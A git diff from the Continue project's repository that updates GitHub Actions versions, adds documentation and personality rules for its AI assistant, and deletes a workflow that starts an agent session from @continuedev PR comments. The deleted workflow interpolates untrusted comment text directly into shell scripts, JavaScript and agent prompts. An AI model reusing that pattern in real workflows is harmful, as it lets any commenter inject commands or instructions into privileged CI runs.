diff --git a/.continue/environment.json b/.continue/environment.json new file mode 100644 index 000000000..8157e98b7 --- /dev/null +++ b/.continue/environment.json @@ -0,0 +1,3 @@ +{ + "install": "npm i" +} diff --git a/.continue/prompts/core-unit-test.prompt b/.continue/prompts/core-unit-test.prompt index 1a08945b4..70f45bd78 100644 --- a/.continue/prompts/core-unit-test.prompt +++ b/.continue/prompts/core-unit-test.prompt @@ -35,7 +35,6 @@ IMPORTANT: Do NOT mock the fixtures above other than using `jest.spyOn`. DO mock Instead, generate actual mock files and data for operations Pure mocks should only be used to emulate specific network responses/error or hard-to-duplicate errors, or to prevent long-duration tests -Additional types can be imported from @core/index.d.ts -If any needed types, functions, constants, or classes are still not found, warn the user and do not generate tests. +Additional types can be imported from @core/index.d.ts. If any needed types, functions, constants, or classes are still not found, warn the user and do not generate tests. -Write the comment "// Generated by continue" at the top of the generated code/file (not the filepath) \ No newline at end of file +Write the comment "// Generated by continue" at the top of the generated code/file (not the filepath) diff --git a/.continue/rules/mintlify-formatting.md b/.continue/rules/mintlify-formatting.md new file mode 100644 index 000000000..4df9bdb91 --- /dev/null +++ b/.continue/rules/mintlify-formatting.md @@ -0,0 +1,100 @@ +# Mintlify Documentation Formatting Rules + +## Component Formatting + +When working with Mintlify documentation components (Card, Info, Tip, Note, Warning, etc.), follow these formatting guidelines: + +### Bullet Points and Lists + +1. **Always add a blank line** after the opening component tag and before the closing tag +2. **Indent content** by 2 spaces within components +3. **Use proper list formatting** with each item on its own line: + - Start lists on a new line after introductory text + - Use `-` for unordered lists + - Maintain consistent indentation + +### Examples + +#### ✅ Correct Formatting: + +```mdx + + + This is the content with proper formatting: + - First bullet point + - Second bullet point + - Third bullet point + + +``` + +```mdx + + + Important information here: + - Point one + - Point two + - Point three + + +``` + +#### ❌ Incorrect Formatting: + +```mdx + + This is wrong: - All bullets - On one line - Bad formatting + +``` + +### Component-Specific Rules + +1. **Card Components**: Always include blank lines and proper indentation +2. **Info/Tip/Note/Warning**: Format lists as bullet points, not inline +3. **CardGroup**: Each Card within should follow the same formatting rules +4. **Code Blocks**: Within components, maintain proper indentation + +### Links in Lists + +When including links in bullet points: +```mdx +- [Link Text](url): Description of the link +``` + +### Nested Components + +For nested components, maintain proper indentation levels: +```mdx + + + + Content here: + - Bullet one + - Bullet two + + + + + + More content: + - Another bullet + - Final bullet + + + +``` + +## Application + +These rules apply to all `.mdx` files in the `docs/` directory, particularly: +- Guide documents +- Cookbook documents +- Reference documentation +- Any Mintlify-powered documentation + +## Automation Note + +When using Continue or other AI assistants to generate or modify documentation: +- Always format Mintlify components according to these rules +- Review generated content for proper formatting +- Apply these rules consistently across all documentation \ No newline at end of file diff --git a/.continue/rules/personality.md b/.continue/rules/personality.md new file mode 100644 index 000000000..c68d0e35c --- /dev/null +++ b/.continue/rules/personality.md @@ -0,0 +1,6 @@ +--- +name: Personality Rules +description: Conversational and personality guidelines +--- + +When the user challenges your output or asks a question, don't be overly-amiable (e.g. responding "You're right" all the time). Focus on correctness and be willing to tell the user they are wrong. diff --git a/.github/actions/setup-component/action.yml b/.github/actions/setup-component/action.yml index d05de3bfb..d7e529e3f 100644 --- a/.github/actions/setup-component/action.yml +++ b/.github/actions/setup-component/action.yml @@ -31,12 +31,18 @@ runs: packages/*/node_modules key: ${{ runner.os }}-packages-node-modules-${{ hashFiles('packages/*/package-lock.json') }} - - uses: actions/cache@v4 + - uses: actions/cache@v4 if: inputs.include-root == 'true' + id: root-cache with: path: node_modules key: ${{ runner.os }}-root-node-modules-${{ hashFiles('package-lock.json') }} + - name: Install root dependencies + if: inputs.include-root == 'true' && steps.root-cache.outputs.cache-hit != 'true' + shell: bash + run: npm ci + - uses: actions/cache@v4 id: component-cache with: diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index d8b354440..281f61c1f 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -5,7 +5,7 @@ ## AI Code Review - **Team members only**: AI review runs automatically when PR is opened or marked ready for review -- Team members can also trigger a review by commenting `@continue-general-review` or `@continue-detailed-review` +- Team members can also trigger a review by commenting `@continue-review` ## Checklist diff --git a/.github/workflows/auto-fix-failed-tests.yml b/.github/workflows/auto-fix-failed-tests.yml index fe438a460..6618594bd 100644 --- a/.github/workflows/auto-fix-failed-tests.yml +++ b/.github/workflows/auto-fix-failed-tests.yml @@ -97,7 +97,7 @@ jobs: - name: Setup Node.js if: steps.workflow-details.outputs.has_failed_tests == 'true' - uses: actions/setup-node@v5 + uses: actions/setup-node@v6 with: node-version: "20" diff --git a/.github/workflows/beta-release.yml b/.github/workflows/beta-release.yml index a52daa05b..b80253417 100644 --- a/.github/workflows/beta-release.yml +++ b/.github/workflows/beta-release.yml @@ -24,7 +24,7 @@ jobs: token: ${{ secrets.SEMANTIC_RELEASE_TOKEN }} - name: Setup Node.js - uses: actions/setup-node@v5 + uses: actions/setup-node@v6 with: node-version: 20 registry-url: "https://registry.npmjs.org" @@ -110,6 +110,6 @@ jobs: # Create GitHub release gh release create "v${{ steps.get_version.outputs.beta_version }}" \ - --title "Beta Release v${{ steps.get_version.outputs.beta_version }}" \ + --title "CLI Beta Release v${{ steps.get_version.outputs.beta_version }}" \ --notes "Daily beta release for testing. This version will be promoted to stable after 7 days if no critical issues are found." \ --prerelease diff --git a/.github/workflows/cla.yaml b/.github/workflows/cla.yaml index 78e6f209b..8fc4d4bdd 100644 --- a/.github/workflows/cla.yaml +++ b/.github/workflows/cla.yaml @@ -27,5 +27,5 @@ jobs: path-to-document: "https://github.com/continuedev/continue/blob/main/CLA.md" branch: cla-signatures # Bots and CLAs signed outside of GitHub - allowlist: dependabot[bot],fbricon,panyamkeerthana,Jazzcort,owtaylor,halfline,agent@continue.dev + allowlist: dependabot[bot],fbricon,panyamkeerthana,Jazzcort,owtaylor,halfline,agent@continue.dev,action@github.com,snyk-bot signed-commit-message: "CLA signed in $pullRequestNo" diff --git a/.github/workflows/cli-pr-checks.yml b/.github/workflows/cli-pr-checks.yml index 93922dd31..2265efec9 100644 --- a/.github/workflows/cli-pr-checks.yml +++ b/.github/workflows/cli-pr-checks.yml @@ -25,7 +25,7 @@ jobs: uses: actions/checkout@v5 - name: Setup Node.js - uses: actions/setup-node@v5 + uses: actions/setup-node@v6 with: node-version: 20 cache: "npm" @@ -67,7 +67,7 @@ jobs: uses: actions/checkout@v5 - name: Setup Node.js ${{ matrix.node-version }} - uses: actions/setup-node@v5 + uses: actions/setup-node@v6 with: node-version: ${{ matrix.node-version }} diff --git a/.github/workflows/compliance.yaml b/.github/workflows/compliance.yaml index 2a1819fa5..72e555f5f 100644 --- a/.github/workflows/compliance.yaml +++ b/.github/workflows/compliance.yaml @@ -104,7 +104,7 @@ jobs: uses: actions/checkout@v5 - name: Setup Node.js - uses: actions/setup-node@v5 + uses: actions/setup-node@v6 with: node-version-file: ".nvmrc" cache: "npm" @@ -119,12 +119,12 @@ jobs: run: npm audit --audit-level=moderate - name: Initialize CodeQL - uses: github/codeql-action/init@v3 + uses: github/codeql-action/init@v4 with: languages: javascript - name: Perform CodeQL Analysis - uses: github/codeql-action/analyze@v3 + uses: github/codeql-action/analyze@v4 # Use this for any files that we want to be certain exist # Basically creates a forcing function to discuss were anyone to want to remove them diff --git a/.github/workflows/continue-detailed-review.yaml b/.github/workflows/continue-detailed-review.yaml deleted file mode 100644 index e7b095e87..000000000 --- a/.github/workflows/continue-detailed-review.yaml +++ /dev/null @@ -1,25 +0,0 @@ -name: Continue Detailed Review - -on: - pull_request: - types: [opened, ready_for_review] - issue_comment: - types: [created] - -permissions: - contents: read - pull-requests: write - issues: write - -jobs: - detailed-code-review: - name: Continue Detailed Review - runs-on: ubuntu-latest - timeout-minutes: 10 - steps: - - name: Run Detailed PR Review - uses: continuedev/continue/actions/detailed-review@12e933bf9d13736c5f47728c436445ef4127fd52 - with: - continue-api-key: ${{ secrets.CONTINUE_API_KEY }} - continue-org: continuedev - continue-config: continuedev/review-bot diff --git a/.github/workflows/continue-general-review.yaml b/.github/workflows/continue-general-review.yaml index 0fabfdf05..34611923f 100644 --- a/.github/workflows/continue-general-review.yaml +++ b/.github/workflows/continue-general-review.yaml @@ -1,6 +1,9 @@ name: Continue General Review on: + push: + branches: + - main pull_request: types: [opened, ready_for_review] issue_comment: @@ -18,8 +21,8 @@ jobs: timeout-minutes: 10 steps: - name: Run Continue PR Review Action - uses: continuedev/continue/actions/general-review@12e933bf9d13736c5f47728c436445ef4127fd52 + uses: continuedev/continue/actions/general-review@main with: continue-api-key: ${{ secrets.CONTINUE_API_KEY }} continue-org: "continuedev" - continue-config: "continuedev/review-bot" + continue-agent: "empty-agent" diff --git a/.github/workflows/delete-stale-branches.yaml b/.github/workflows/delete-stale-branches.yaml new file mode 100644 index 000000000..08ed2628c --- /dev/null +++ b/.github/workflows/delete-stale-branches.yaml @@ -0,0 +1,24 @@ +name: Delete Stale Branches + +on: + schedule: + - cron: "0 6 * * 1-5" + workflow_dispatch: + +permissions: + issues: write + contents: write + +jobs: + stale_branches: + runs-on: ubuntu-latest + steps: + - name: Stale Branches + uses: crs-k/stale-branches@v8.2.2 + with: + repo-token: "${{ secrets.GITHUB_TOKEN }}" + days-before-stale: 59 + days-before-delete: 60 + pr-check: true + ignore-issue-interaction: true + branches-filter-regex: "^(?!cla-signatures$).*" diff --git a/.github/workflows/jetbrains-release.yaml b/.github/workflows/jetbrains-release.yaml index 6ed9292b7..11b654de2 100644 --- a/.github/workflows/jetbrains-release.yaml +++ b/.github/workflows/jetbrains-release.yaml @@ -95,7 +95,7 @@ jobs: needs: check_release_name if: needs.check_release_name.outputs.should_run == 'true' || github.event_name == 'workflow_dispatch' name: Build Plugin - runs-on: macos-13 + runs-on: macos-latest permissions: contents: write pull-requests: write @@ -116,7 +116,7 @@ jobs: # Validate wrapper - name: Gradle Wrapper Validation - uses: gradle/actions/wrapper-validation@v3 + uses: gradle/actions/wrapper-validation@v5 # # Set up Java environment for the next steps - name: Setup Java @@ -127,7 +127,7 @@ jobs: # # Setup Gradle - name: Setup Gradle - uses: gradle/actions/setup-gradle@v3 + uses: gradle/actions/setup-gradle@v5 with: gradle-home-cache-cleanup: true @@ -152,7 +152,7 @@ jobs: # # Setup Node.js - name: Use Node.js from .nvmrc - uses: actions/setup-node@v5 + uses: actions/setup-node@v6 with: node-version-file: ".nvmrc" @@ -294,44 +294,44 @@ jobs: # Store already-built plugin as an artifact for downloading - name: Upload artifact - uses: actions/upload-artifact@v4 + uses: actions/upload-artifact@v5 with: name: ${{ steps.artifact.outputs.filename }} path: ./extensions/intellij/build/distributions/content/*/* # Upload binaries as artifacts - name: Upload artifact (darwin-arm64) - uses: actions/upload-artifact@v4 + uses: actions/upload-artifact@v5 with: name: continue-binary-darwin-arm64 path: ./binary/bin/darwin-arm64/ - name: Upload artifact (darwin-x64) - uses: actions/upload-artifact@v4 + uses: actions/upload-artifact@v5 with: name: continue-binary-darwin-x64 path: ./binary/bin/darwin-x64/ - name: Upload artifact (win32-x64) - uses: actions/upload-artifact@v4 + uses: actions/upload-artifact@v5 with: name: continue-binary-win32-x64 path: ./binary/bin/win32-x64/ - name: Upload artifact (win32-arm64) - uses: actions/upload-artifact@v4 + uses: actions/upload-artifact@v5 with: name: continue-binary-win32-arm64 path: ./binary/bin/win32-arm64/ - name: Upload artifact (linux-arm64) - uses: actions/upload-artifact@v4 + uses: actions/upload-artifact@v5 with: name: continue-binary-linux-arm64 path: ./binary/bin/linux-arm64/ - name: Upload artifact (linux-x64) - uses: actions/upload-artifact@v4 + uses: actions/upload-artifact@v5 with: name: continue-binary-linux-x64 path: ./binary/bin/linux-x64/ @@ -358,7 +358,7 @@ jobs: platform: darwin arch: x64 npm_config_arch: x64 - - os: macos-13 + - os: macos-latest platform: darwin arch: arm64 npm_config_arch: arm64 @@ -370,7 +370,7 @@ jobs: # 2. Install npm dependencies - name: Use Node.js from .nvmrc - uses: actions/setup-node@v5 + uses: actions/setup-node@v6 with: node-version-file: ".nvmrc" @@ -398,7 +398,7 @@ jobs: # Download the binary artifact - name: Download binary artifact - uses: actions/download-artifact@v5 + uses: actions/download-artifact@v6 with: name: continue-binary-${{ matrix.platform }}-${{ matrix.arch }} path: ./binary/bin/${{ matrix.platform }}-${{ matrix.arch }}/ @@ -420,7 +420,7 @@ jobs: - name: Upload logs if: ${{ always() }} - uses: actions/upload-artifact@v4 + uses: actions/upload-artifact@v5 with: name: core-logs-${{ matrix.platform }}-${{ matrix.arch }} path: ~/.continue/logs/core.log @@ -444,7 +444,7 @@ jobs: # Setup Gradle - name: Setup Gradle - uses: gradle/actions/setup-gradle@v3 + uses: gradle/actions/setup-gradle@v5 with: gradle-home-cache-cleanup: true @@ -455,7 +455,7 @@ jobs: # Collect Tests Result of failed tests - name: Collect Tests Result if: ${{ failure() }} - uses: actions/upload-artifact@v4 + uses: actions/upload-artifact@v5 with: name: tests-result path: ${{ github.workspace }}/extensions/intellij/build/reports/tests @@ -522,7 +522,7 @@ jobs: # Setup Gradle - name: Setup Gradle - uses: gradle/actions/setup-gradle@v3 + uses: gradle/actions/setup-gradle@v5 with: gradle-home-cache-cleanup: true @@ -540,7 +540,7 @@ jobs: # Collect Plugin Verifier Result - name: Collect Plugin Verifier Result if: ${{ always() }} - uses: actions/upload-artifact@v4 + uses: actions/upload-artifact@v5 with: name: pluginVerifier-result path: ${{ github.workspace }}/build/reports/pluginVerifier @@ -563,7 +563,7 @@ jobs: # ./gradlew patchChangelog --release-note="$CHANGELOG" - name: Download the plugin - uses: actions/download-artifact@v5 + uses: actions/download-artifact@v6 with: name: ${{ steps.artifact.outputs.filename }} path: ./build/distributions/ diff --git a/.github/workflows/main-build.yaml b/.github/workflows/main-build.yaml index 808373096..3f4f91582 100644 --- a/.github/workflows/main-build.yaml +++ b/.github/workflows/main-build.yaml @@ -101,7 +101,7 @@ jobs: echo "✅ Successfully downloaded artifact" - name: Republish as main branch artifact - uses: actions/upload-artifact@v4 + uses: actions/upload-artifact@v5 with: name: vscode-extension-build-${{ matrix.platform }} path: ./temp-download/* diff --git a/.github/workflows/main.yaml b/.github/workflows/main.yaml index 8be01696a..6177067f5 100644 --- a/.github/workflows/main.yaml +++ b/.github/workflows/main.yaml @@ -26,8 +26,24 @@ jobs: echo "should_run=false" >> $GITHUB_OUTPUT fi + check-version: + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v5 + with: + fetch-depth: 0 # This ensures all tags are fetched + + - name: Checkout tag + run: git checkout ${GITHUB_REF#refs/tags/} + + - name: Make sure version isn't odd + run: | + cd extensions/vscode + node scripts/versionCheck.js + build: - needs: check_release_name + needs: [check_release_name, check-version] if: needs.check_release_name.outputs.should_run == 'true' || github.event_name == 'workflow_dispatch' runs-on: ${{ matrix.os }} strategy: @@ -57,11 +73,11 @@ jobs: platform: alpine arch: x64 npm_config_arch: x64 - - os: macos-13 + - os: macos-latest platform: darwin arch: x64 npm_config_arch: x64 - - os: macos-13 + - os: macos-latest platform: darwin arch: arm64 npm_config_arch: arm64 @@ -70,7 +86,7 @@ jobs: with: fetch-depth: 0 - - uses: actions/setup-node@v5 + - uses: actions/setup-node@v6 with: node-version-file: ".nvmrc" @@ -83,27 +99,11 @@ jobs: github-token: ${{ secrets.GITHUB_TOKEN }} - name: Upload .vsix artifact - uses: actions/upload-artifact@v4 + uses: actions/upload-artifact@v5 with: name: ${{ matrix.platform }}-${{ matrix.arch }}-vsix path: "extensions/vscode/*.vsix" - check-version: - runs-on: ubuntu-latest - steps: - - name: Checkout - uses: actions/checkout@v5 - with: - fetch-depth: 0 # This ensures all tags are fetched - - - name: Checkout tag - run: git checkout ${GITHUB_REF#refs/tags/} - - - name: Make sure version isn't odd - run: | - cd extensions/vscode - node scripts/versionCheck.js - release: permissions: contents: write @@ -120,7 +120,7 @@ jobs: git config --local user.name "GitHub Action" # Download the .vsix artifacts - - uses: actions/download-artifact@v5 + - uses: actions/download-artifact@v6 with: pattern: "*-vsix" path: vsix-artifacts @@ -156,7 +156,7 @@ jobs: run: git fetch origin ${{ github.ref }} && git checkout ${{ github.ref }} # 1. Download the artifacts - - uses: actions/download-artifact@v5 + - uses: actions/download-artifact@v6 with: pattern: "*-vsix" path: vsix-artifacts diff --git a/.github/workflows/metrics.yaml b/.github/workflows/metrics.yaml index ba4e1cd4a..37193b729 100644 --- a/.github/workflows/metrics.yaml +++ b/.github/workflows/metrics.yaml @@ -69,7 +69,7 @@ jobs: ${{ steps.read-metrics.outputs.metrics_content }} - name: Upload metrics report as artifact - uses: actions/upload-artifact@v4 + uses: actions/upload-artifact@v5 with: name: issue-metrics-report path: ./issue_metrics.md diff --git a/.github/workflows/pr-build-upload-vsix.yaml b/.github/workflows/pr-build-upload-vsix.yaml index 926855b7c..f1e4f648b 100644 --- a/.github/workflows/pr-build-upload-vsix.yaml +++ b/.github/workflows/pr-build-upload-vsix.yaml @@ -39,13 +39,13 @@ jobs: github-token: ${{ secrets.GITHUB_TOKEN }} - name: Upload build artifact - uses: actions/upload-artifact@v4 + uses: actions/upload-artifact@v5 with: name: vscode-extension-build-${{ matrix.platform }}-${{ matrix.arch }} path: extensions/vscode/build - name: Upload .vsix artifact - uses: actions/upload-artifact@v4 + uses: actions/upload-artifact@v5 with: name: ${{ matrix.platform }}-${{ matrix.arch }}-vsix path: "extensions/vscode/*.vsix" diff --git a/.github/workflows/pr-checks.yaml b/.github/workflows/pr-checks.yaml index 370acb854..422759fa7 100644 --- a/.github/workflows/pr-checks.yaml +++ b/.github/workflows/pr-checks.yaml @@ -23,7 +23,7 @@ jobs: runs-on: ubuntu-latest steps: - uses: actions/checkout@v5 - - uses: actions/setup-node@v5 + - uses: actions/setup-node@v6 with: node-version-file: ".nvmrc" @@ -229,7 +229,7 @@ jobs: test_file_matrix: ${{ steps.vscode-get-test-file-matrix.outputs.test_file_matrix }} steps: - uses: actions/checkout@v5 - - uses: actions/setup-node@v5 + - uses: actions/setup-node@v6 with: node-version-file: ".nvmrc" @@ -303,7 +303,7 @@ jobs: github-token: ${{ secrets.GITHUB_TOKEN }} - name: Upload build artifact - uses: actions/upload-artifact@v4 + uses: actions/upload-artifact@v5 with: name: vscode-extension-build-Linux path: extensions/vscode/build @@ -343,31 +343,6 @@ jobs: # GitHub does not have a way of requiring that all checks pass (you must manually select each job) # This action at least lets us manage the list of required tests via source control - pr-review-action-tests: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v5 - - uses: actions/setup-node@v5 - with: - node-version: 20 - - - name: Cache PR review action node modules - uses: actions/cache@v4 - id: pr-review-cache - with: - path: actions/detailed-review/node_modules - key: ${{ runner.os }}-pr-review-action-${{ hashFiles('actions/detailed-review/package.json') }} - - - name: Install dependencies - if: steps.pr-review-cache.outputs.cache-hit != 'true' - run: | - cd actions/detailed-review - npm install - - - name: Run tests - run: | - cd actions/detailed-review - npm test # so that creators of new jobs can add them to this list require-all-checks-to-pass: @@ -385,7 +360,6 @@ jobs: - vscode-package-extension-linux - vscode-e2e-tests - jetbrains-tests - - pr-review-action-tests steps: - name: Decide whether the needed jobs succeeded or failed diff --git a/.github/workflows/preview.yaml b/.github/workflows/preview.yaml index fa24eb2bf..8c0b8d8ae 100644 --- a/.github/workflows/preview.yaml +++ b/.github/workflows/preview.yaml @@ -57,11 +57,11 @@ jobs: platform: alpine arch: x64 npm_config_arch: x64 - - os: macos-13 + - os: macos-latest platform: darwin arch: x64 npm_config_arch: x64 - - os: macos-13 + - os: macos-latest platform: darwin arch: arm64 npm_config_arch: arm64 @@ -70,7 +70,7 @@ jobs: with: fetch-depth: 0 - - uses: actions/setup-node@v5 + - uses: actions/setup-node@v6 with: node-version-file: ".nvmrc" @@ -83,7 +83,7 @@ jobs: github-token: ${{ secrets.GITHUB_TOKEN }} - name: Upload .vsix artifact - uses: actions/upload-artifact@v4 + uses: actions/upload-artifact@v5 with: name: ${{ matrix.platform }}-${{ matrix.arch }}-vsix path: "extensions/vscode/*.vsix" @@ -104,7 +104,7 @@ jobs: git config --local user.name "GitHub Action" # Download the .vsix artifacts - - uses: actions/download-artifact@v5 + - uses: actions/download-artifact@v6 with: pattern: "*-vsix" path: vsix-artifacts @@ -142,7 +142,7 @@ jobs: run: git fetch origin ${{ github.ref }} && git checkout ${{ github.ref }} # 1. Download the artifacts - - uses: actions/download-artifact@v5 + - uses: actions/download-artifact@v6 with: pattern: "*-vsix" path: vsix-artifacts @@ -165,7 +165,7 @@ jobs: # 4. Create PR with version bump - name: Setup Node.js - uses: actions/setup-node@v5 + uses: actions/setup-node@v6 with: node-version-file: ".nvmrc" diff --git a/.github/workflows/release-llm-info.yml b/.github/workflows/release-llm-info.yml index bc41ca21e..e53675086 100644 --- a/.github/workflows/release-llm-info.yml +++ b/.github/workflows/release-llm-info.yml @@ -1,11 +1,17 @@ name: Release @continuedev/llm-info - on: push: branches: - main paths: - "packages/llm-info/**" + - ".github/workflows/release-llm-info.yml" + - ".github/workflows/reusable-release.yml" + +permissions: + contents: write + issues: write + pull-requests: write jobs: release: @@ -16,14 +22,3 @@ jobs: secrets: SEMANTIC_RELEASE_GITHUB_TOKEN: ${{ secrets.SEMANTIC_RELEASE_GITHUB_TOKEN }} SEMANTIC_RELEASE_NPM_TOKEN: ${{ secrets.SEMANTIC_RELEASE_NPM_TOKEN }} - OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }} - ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }} - GEMINI_API_KEY: ${{ secrets.GEMINI_API_KEY }} - MISTRAL_API_KEY: ${{ secrets.MISTRAL_API_KEY }} - AZURE_OPENAI_API_KEY: ${{ secrets.AZURE_OPENAI_API_KEY }} - AZURE_FOUNDRY_CODESTRAL_API_KEY: ${{ secrets.AZURE_FOUNDRY_CODESTRAL_API_KEY }} - AZURE_FOUNDRY_MISTRAL_SMALL_API_KEY: ${{ secrets.AZURE_FOUNDRY_MISTRAL_SMALL_API_KEY }} - AZURE_OPENAI_GPT41_API_KEY: ${{ secrets.AZURE_OPENAI_GPT41_API_KEY }} - VOYAGE_API_KEY: ${{ secrets.VOYAGE_API_KEY }} - RELACE_API_KEY: ${{ secrets.RELACE_API_KEY }} - INCEPTION_API_KEY: ${{ secrets.INCEPTION_API_KEY }} diff --git a/.github/workflows/respond-to-cubic.yaml b/.github/workflows/respond-to-cubic.yaml deleted file mode 100644 index 252c2538c..000000000 --- a/.github/workflows/respond-to-cubic.yaml +++ /dev/null @@ -1,302 +0,0 @@ -name: Respond to @continuedev Comments - -on: - issue_comment: - types: [created] - pull_request_review_comment: - types: [created] - -permissions: - contents: write - pull-requests: write - issues: write - -jobs: - respond-to-comment: - # Only run on pull request comments - if: github.event_name == 'issue_comment' && github.event.issue.pull_request - runs-on: ubuntu-latest - - steps: - - name: Check if comment contains @continuedev - id: check-mention - run: | - # Create a temporary file to safely handle comment body with special characters - cat > /tmp/comment.txt << 'COMMENT_EOF' - ${{ github.event.comment.body }} - COMMENT_EOF - - if grep -q "@continuedev" /tmp/comment.txt; then - echo "contains_mention=true" >> $GITHUB_OUTPUT - else - echo "contains_mention=false" >> $GITHUB_OUTPUT - fi - - - name: Add eyes reaction to comment - if: steps.check-mention.outputs.contains_mention == 'true' - uses: actions/github-script@v8 - with: - script: | - await github.rest.reactions.createForIssueComment({ - owner: context.repo.owner, - repo: context.repo.repo, - comment_id: ${{ github.event.comment.id }}, - content: 'eyes' - }); - - - name: Checkout PR branch - if: steps.check-mention.outputs.contains_mention == 'true' - uses: actions/checkout@v5 - with: - token: ${{ secrets.GITHUB_TOKEN }} - fetch-depth: 0 - - - name: Get PR information - if: steps.check-mention.outputs.contains_mention == 'true' - id: pr-info - uses: actions/github-script@v8 - with: - script: | - const { data: pr } = await github.rest.pulls.get({ - owner: context.repo.owner, - repo: context.repo.repo, - pull_number: context.issue.number - }); - - core.setOutput('head_ref', pr.head.ref); - core.setOutput('head_sha', pr.head.sha); - return pr; - - - name: Checkout PR branch - if: steps.check-mention.outputs.contains_mention == 'true' - run: | - git checkout ${{ steps.pr-info.outputs.head_ref }} - - - name: Setup Node.js - if: steps.check-mention.outputs.contains_mention == 'true' - uses: actions/setup-node@v5 - with: - node-version: "20" - - - name: Install Continue CLI globally - if: steps.check-mention.outputs.contains_mention == 'true' - run: npm i -g @continuedev/cli - - - name: Start remote session - if: steps.check-mention.outputs.contains_mention == 'true' - id: remote-session - env: - CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }} - run: | - # Create a temporary file for the prompt to handle special characters and newlines properly - cat > /tmp/prompt.txt << 'PROMPT_EOF' - Please help with the following request from @${{ github.event.comment.user.login }} on PR #${{ github.event.issue.number }}: - - ${{ github.event.comment.body }} - - Please analyze the current PR, understand the request, implement the necessary changes, and commit them to this branch. - PROMPT_EOF - - # Debug output - echo "PROMPT content:" - cat /tmp/prompt.txt - - # Start remote session and capture JSON output - echo "Starting cn with prompt..." - SESSION_OUTPUT=$(cat /tmp/prompt.txt | cn remote -s --config continuedev/address-code-review --branch ${{ steps.pr-info.outputs.head_ref }}) - echo "Raw session output: $SESSION_OUTPUT" - - # Extract URL from JSON output - SESSION_URL=$(echo "$SESSION_OUTPUT" | jq -r '.url // empty') - - if [ -z "$SESSION_URL" ] || [ "$SESSION_URL" = "null" ]; then - echo "Failed to extract session URL from output: $SESSION_OUTPUT" - exit 1 - fi - - echo "session_url=$SESSION_URL" >> $GITHUB_OUTPUT - echo "✅ Started remote session: $SESSION_URL" - - - name: Comment with session URL - if: steps.check-mention.outputs.contains_mention == 'true' && steps.remote-session.outputs.session_url - uses: actions/github-script@v8 - env: - ORIGINAL_COMMENT: ${{ github.event.comment.body }} - with: - script: | - const sessionUrl = '${{ steps.remote-session.outputs.session_url }}'; - const originalComment = process.env.ORIGINAL_COMMENT; - const commentBody = "I've started [a remote session](" + sessionUrl + ") to help with your request:\n> " + originalComment; - - await github.rest.issues.createComment({ - owner: context.repo.owner, - repo: context.repo.repo, - issue_number: context.issue.number, - body: commentBody - }); - - - name: Log session details - if: steps.check-mention.outputs.contains_mention == 'true' - run: | - echo "✅ Successfully started remote session for comment from ${{ github.event.comment.user.login }} on PR #${{ github.event.issue.number }}" - echo "Session URL: ${{ steps.remote-session.outputs.session_url }}" - echo "Original comment:" - cat /tmp/comment.txt - - respond-to-review-comment: - # Only run on pull request review comments - if: github.event_name == 'pull_request_review_comment' - runs-on: ubuntu-latest - - steps: - - name: Check if comment contains @continuedev - id: check-mention - run: | - # Create a temporary file to safely handle comment body with special characters - cat > /tmp/review_comment.txt << 'COMMENT_EOF' - ${{ github.event.comment.body }} - COMMENT_EOF - - if grep -q "@continuedev" /tmp/review_comment.txt; then - echo "contains_mention=true" >> $GITHUB_OUTPUT - else - echo "contains_mention=false" >> $GITHUB_OUTPUT - fi - - - name: Add eyes reaction to comment - if: steps.check-mention.outputs.contains_mention == 'true' - uses: actions/github-script@v8 - with: - script: | - await github.rest.reactions.createForPullRequestReviewComment({ - owner: context.repo.owner, - repo: context.repo.repo, - comment_id: ${{ github.event.comment.id }}, - content: 'eyes' - }); - - - name: Checkout PR branch - if: steps.check-mention.outputs.contains_mention == 'true' - uses: actions/checkout@v5 - with: - token: ${{ secrets.GITHUB_TOKEN }} - fetch-depth: 0 - ref: ${{ github.event.pull_request.head.ref }} - - - name: Setup Node.js - if: steps.check-mention.outputs.contains_mention == 'true' - uses: actions/setup-node@v5 - with: - node-version: "20" - - - name: Install Continue CLI globally - if: steps.check-mention.outputs.contains_mention == 'true' - run: npm i -g @continuedev/cli - - - name: Get review context - if: steps.check-mention.outputs.contains_mention == 'true' - id: review-context - uses: actions/github-script@v8 - with: - script: | - let reviewContext = ''; - - // Check if this comment is a reply to another review comment - if (context.payload.comment.in_reply_to_id) { - try { - const { data: originalComment } = await github.rest.pulls.getReviewComment({ - owner: context.repo.owner, - repo: context.repo.repo, - comment_id: context.payload.comment.in_reply_to_id - }); - - reviewContext = `**Original review comment by @${originalComment.user.login}:** - ${originalComment.body} - - **Reply by @${{ github.event.comment.user.login }}:** - ${{ github.event.comment.body }}`; - } catch (error) { - console.log('Could not fetch original comment, using current comment only'); - reviewContext = `**Review comment by @${{ github.event.comment.user.login }}:** - ${{ github.event.comment.body }}`; - } - } else { - reviewContext = `**Review comment by @${{ github.event.comment.user.login }}:** - ${{ github.event.comment.body }}`; - } - - core.setOutput('context', reviewContext); - - - name: Start remote session - if: steps.check-mention.outputs.contains_mention == 'true' - id: remote-session - env: - CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }} - run: | - # Debug: Echo the branch we're starting the session on - echo "Starting remote session on branch: ${{ github.event.pull_request.head.ref }}" - - # Create a temporary file for the prompt to handle special characters and newlines properly - cat > /tmp/prompt.txt << 'PROMPT_EOF' - Please help with the following code review discussion from PR #${{ github.event.pull_request.number }}: - - **File:** ${{ github.event.comment.path }} - **Line:** ${{ github.event.comment.line || github.event.comment.original_line || 'N/A' }} - - ${{ steps.review-context.outputs.context }} - - Please analyze the specific file and line mentioned, understand the review feedback and any discussion context, implement the necessary changes, and commit them to this branch. - PROMPT_EOF - - # Debug output - echo "PROMPT content:" - cat /tmp/prompt.txt - - # Start remote session and capture JSON output - echo "Starting cn with prompt..." - SESSION_OUTPUT=$(cat /tmp/prompt.txt | cn remote -s --config continuedev/address-code-review --branch ${{ github.event.pull_request.head.ref }}) - echo "Raw session output: $SESSION_OUTPUT" - - # Extract URL from JSON output - SESSION_URL=$(echo "$SESSION_OUTPUT" | jq -r '.url // empty') - - if [ -z "$SESSION_URL" ] || [ "$SESSION_URL" = "null" ]; then - echo "Failed to extract session URL from output: $SESSION_OUTPUT" - exit 1 - fi - - echo 